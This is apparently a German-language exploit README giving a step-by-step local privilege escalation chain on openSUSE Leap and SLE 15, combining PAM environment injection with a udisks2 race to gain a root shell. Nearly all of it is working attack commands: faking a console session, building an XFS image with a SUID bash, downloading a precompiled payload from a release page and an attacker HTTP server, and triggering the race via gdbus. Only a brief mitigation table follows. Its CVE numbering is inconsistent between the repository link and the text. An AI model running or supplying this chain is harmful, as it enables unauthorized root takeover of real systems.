
Exploit-Kette für lokale Privilegienerweiterung auf SUSE Linux, die PAM-Umgebungsinjektion und eine udisks2-Race-Condition miteinander verknüpft, um eine Root-Shell zu erhalten.
Zielbetriebssystem: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Erforderlicher Zugriff: Nicht privilegierter lokaler Benutzer mit SSH-Zugriff
Ergebnis: Vollständige Root-Shell
Dieses Dokument beschreibt die manuelle Ausnutzung von zwei verketteten Schwachstellen zur lokalen Privilegienausweitung, die von der Qualys Threat Research Unit entdeckt wurden:
~/.pam_environment, die es einem entfernten SSH-Benutzer ermöglicht, den Polkit-Status allow_active zu erhalten, der normalerweise physisch anwesenden Konsolenbenutzern vorbehalten ist.libblockdev (verwendet von udisks2) versäumt es, das Flag nosuid anzuwenden, wenn während einer D-Bus-Operation Filesystem.Resize vorübergehend ein Dateisystem gemountet wird, wodurch die Ausführung einer SUID-Binärdatei von einem benutzergesteuerten Loop-Device ermöglicht wird.In Kombination ermöglichen diese Schwachstellen jedem nicht privilegierten SSH-Benutzer eine Eskalation zu Root, ohne dass eine Interaktion anderer Benutzer erforderlich ist.
Angreifer-Maschine (Kali Linux):
xfsprogs installiert (sudo apt install xfsprogs -y)gcc verfügbarpython3 -m http.server)Zielmaschine:
udisks2 und polkit installiert (Standard auf diesen Systemen)gdbus verfügbar (Teil von glib2, standardmäßig installiert)Nachdem Sie SSH-Zugriff als nicht privilegierter Benutzer erhalten haben, bestätigen Sie, dass das Ziel verwundbar ist.
Betriebssystem prüfen:
cat /etc/os-release | grep -E "NAME|VERSION"
Das System muss openSUSE Leap 15.x oder SUSE Linux Enterprise 15.x sein.
Prüfen, dass pam_env Benutzerdateien liest:
grep "pam_env" /etc/pam.d/common-auth
Achten Sie auf user_readenv=1 oder einfach auf das Vorhandensein von pam_env.so. Bei Standard-SUSE-Installationen ist dies aktiviert.
Prüfen, dass udisks2 und polkit ausgeführt werden:
systemctl is-active udisks2
systemctl is-active polkit
Polkit-Richtlinie für Loop-Device-Einrichtung prüfen:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
Der Wert von allow_active muss yes sein.
allow_active per PAM-Injektion erhaltenDiese Schwachstelle nutzt die Tatsache aus, dass pam_env.so während des SSH-Logins ~/.pam_environment liest und diese Variablen in die Sitzungsumgebung injiziert, bevor pam_systemd.so den Sitzungskontext auswertet. Durch das Setzen von XDG_SEAT und XDG_VTNR täuscht der Angreifer systemd-logind, die entfernte SSH-Sitzung als physische Konsolensitzung zu behandeln, wodurch allow_active-Polkit-Berechtigungen gewährt werden.
Variablen injizieren:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Abmelden und erneut per SSH verbinden, um die PAM-Verarbeitung auszulösen:
exit
ssh user@<target_ip>
Verifizieren, dass allow_active nun gewährt wird:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
Die Ausgabe muss Folgendes zeigen:
Active=yes
Seat=seat0
VTNr=1
Sitzungs-ID und D-Bus-Adresse setzen, falls nicht automatisch ausgefüllt:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
Das XFS-Image muss mit Funktionen formatiert werden, die mit dem SUSE-15-Kernel kompatibel sind. Moderne Versionen von xfsprogs aktivieren standardmäßig Funktionen wie exchange, parent, bigtime, inobtcount und nrext64, die von älteren SUSE-Kerneln nicht unterstützt werden und Mount-Fehler verursachen. Die folgenden Flags erzeugen ein kompatibles V5-XFS-Image:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Image mounten und eine SUID-Bash-Binärdatei injizieren:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
Die Ausgabe muss -rwsr-xr-x 1 root root zeigen.
Da das verwundbare Mount-Fenster während Filesystem.Resize nur wenige Millisekunden breit ist, ist eine kompilierte C-Binärdatei erforderlich, um es zuverlässig zu erfassen. Eine reine Bash-Schleife ist zu langsam.
Laden Sie die vorkompilierte Payload von der Releases-Seite herunter:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] Sie können die Binärdatei auch selbst kompilieren. Der Quellcode ist in payload.c verfügbar.
Beide Dateien über HTTP bereitstellen:
cd /tmp && python3 -m http.server 8888
# XFS-Image übertragen
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Fänger-Binärdatei übertragen
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Dieser Schritt erfordert zwei gleichzeitige SSH-Sitzungen zum Ziel.
Loop-Device einrichten (in einer der Sitzungen):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Notieren Sie das zugewiesene Loop-Device, z. B. /dev/loop1.
Sitzung 1: Fänger starten und laufen lassen:
/tmp/payload
[!NOTE] Wenn der Fänger sofort beendet wird, ohne eine Root-Shell zu erzeugen, versuchen Sie, ihn zu starten, bevor Sie das Loop-Device einrichten, und wiederholen Sie die Sequenz.
Sitzung 2: Sofort das Resize auslösen:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Der Resize-Aufruf gibt einen Fehler zurück, aber bevor er fehlschlägt, mountet libblockdev das Dateisystem an einem temporären Pfad unter /tmp/blockdev.XXXXXX/ ohne das Flag nosuid. Der Fänger in Sitzung 1 erkennt diesen Mount, führt die SUID-Bash-Binärdatei darin aus, kopiert eine Root-Shell nach /tmp/rootbash und startet sie.
[!NOTE] Wenn Sie Probleme mit
Not authorized to perform operationhaben, versuchen Sie, das Terminal zu verwenden, mit dem Sie den Befehludiskctl loop-setup...erfolgreich ausgeführt haben, und verwenden Sie die andere Shell zum Ausführen des Skripts/tmp/payload.
Sobald der Fänger abgeschlossen ist, wird entweder automatisch eine Root-Shell gestartet oder kann wie folgt erhalten werden:
/tmp/rootbash -p
whoami
# root
| Komponente | Lösung |
|---|---|
| CVE-2025-6018 | user_readenv in PAM deaktivieren: user_readenv=0 in /etc/pam.d/common-auth setzen |
| CVE-2025-6019 | libblockdev und udisks2 auf gepatchte Versionen vom Distributionsanbieter aktualisieren |
| Polkit-Härtung | allow_active in auth_admin für org.freedesktop.udisks2.loop-setup in der UDisks2-Richtliniendatei ändern |